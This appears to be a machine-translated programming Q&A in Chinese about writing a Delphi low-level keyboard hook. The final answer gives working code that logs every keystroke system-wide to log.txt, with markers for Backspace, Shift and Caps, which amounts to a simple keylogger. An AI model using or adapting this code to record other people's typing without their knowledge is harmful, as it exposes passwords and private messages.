如何通過Windows鉤子捕獲WM_KEYDOWN事件？

Question

我想改變一箇舊的代碼鍵盤鉤爲更好的支持Unicode字符（舊代碼是ascii），在這一刻我有困難，以捕獲WM_KEYDOWN事件。

我的實際代碼如下：

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function KBHookProc(Code: Integer; WParam: WParam; LParam: LParam) 
    : LRESULT; stdcall; 
var 
    _Msg: TMessage; 
    VK: Integer; 
    SC: Integer; 
    buf: Char; 
    KS: TKeyboardState; 
    MyHKB: HKL; 
begin 
    if Code = HC_ACTION then 
    begin 
if _Msg.Msg = WM_KEYDOWN then 
    begin 
    VK := _Msg.WPARAM; 
    MyHKB := GetKeyboardLayout(_Msg.LParam); 
    SC := MapVirtualKeyEx(VK, MAPVK_VK_TO_VSC, MyHKB); 
    GetKeyboardState(KS); 
    ToUnicodeEx(VK, SC, KS, @buf, sizeof(buf), 0, MyHKB); 

     append(ft); 

      write(ft,buf); 
      closefile(ft); 
     MyHKB := 0; 
    end; 
    end; 
    Result := CallNextHookEx(HookHandle, Code, WParam, LParam); 
end; 


procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    HookHandle := SetWindowsHookEx(WH_JOURNALRECORD , @KBHookProc, hinstance, 0); 
end; 

編輯1：

我的代碼如下捕捉WM_KEYDOWN成功，但沒有數據被寫入到文件:-(

一些建議嗎？

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function LowLevelKeyboardProc(nCode: Integer; wParam: wParam; 
    lParam: lParam): LRESULT; stdcall; 
    var 
    _Msg: TMessage; 
    VK: Integer; 
    SC: Integer; 
    buf: Char; 
    KS: TKeyboardState; 
    MyHKB: HKL; 
begin 
    if (nCode >= 0) and (wParam = WM_KEYDOWN) then 
    begin 
    VK := _Msg.WParam; 
    MyHKB := GetKeyboardLayout(_Msg.LParam); 
    SC := MapVirtualKeyEx(VK, MAPVK_VK_TO_VSC, MyHKB); 
    GetKeyboardState(KS); 
    ToUnicodeEx(VK, SC, KS, @buf, sizeof(buf), 0, MyHKB); 

     append(ft); 

      write(ft,buf); 
      closefile(ft); 
     MyHKB := 0; 
    end; 
    Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); 
end; 

function InstallHook: Boolean; 
begin 
    Result := False; 
    if HookHandle = 0 then 
    begin 
    HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0); 
    Result := HookHandle <> 0; 
    end; 
end; 

function UninstallHook: Boolean; 
begin 
    Result := UnhookWindowsHookEx(HookHandle); 
    HookHandle := 0; 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    InstallHook; 
end; 

procedure TForm1.FormDestroy(Sender: TObject); 
begin 
    UninstallHook; 
end; 

Answer 1

解決方案！

下面是完整的代碼工作：d

我願意爲Backspace關鍵建議。

例如，當按下此鍵時，刪除文件末尾的最後一個字符。

如果存在其他方式來做到這一點，我也接受。

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function LowLevelKeyboardProc(nCode: Integer; wParam: wParam; 
    lParam: lParam): LRESULT; stdcall; 
    var 
    vkey: Cardinal; 
    buff: WideChar; 
    kbState: TKeyboardState; 
    keybLayout: HKL; 
    _msg: PEventMsg; 
begin 
    _msg := Pointer(lParam); 

    if (nCode >= 0) and (wParam = WM_KEYDOWN) then 
    begin 

    GetKeyboardState(kbState); 
    KeybLayout:=GetKeyboardLayout(0); 
    vkey := MapVirtualKeyEx(_msg.paramL, MAPVK_VSC_TO_VK, keybLayout); 
    ToUnicodeEx(vkey, _msg.paramL, @kbState, @buff, 1, 0, keybLayout); 

     append(ft); 

      if vkey = 8 then 
       write(ft,'{BKS}') 
      else 
      if vkey = 16 then 
       write(ft,'{SHIFT}') 
      else 
      if vkey = 20 then 
       write(ft,'{CAPS}') 
      else 

      write(ft,buff); 

     closefile(ft); 
    end; 
    Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); 
end; 

function InstallHook: Boolean; 
begin 
    Result := False; 
    if HookHandle = 0 then 
    begin 
    HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0); 
    Result := HookHandle <> 0; 
    end; 
end; 

function UninstallHook: Boolean; 
begin 
    Result := UnhookWindowsHookEx(HookHandle); 
    HookHandle := 0; 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    InstallHook; 
end; 

procedure TForm1.FormDestroy(Sender: TObject); 
begin 
    UninstallHook; 
end;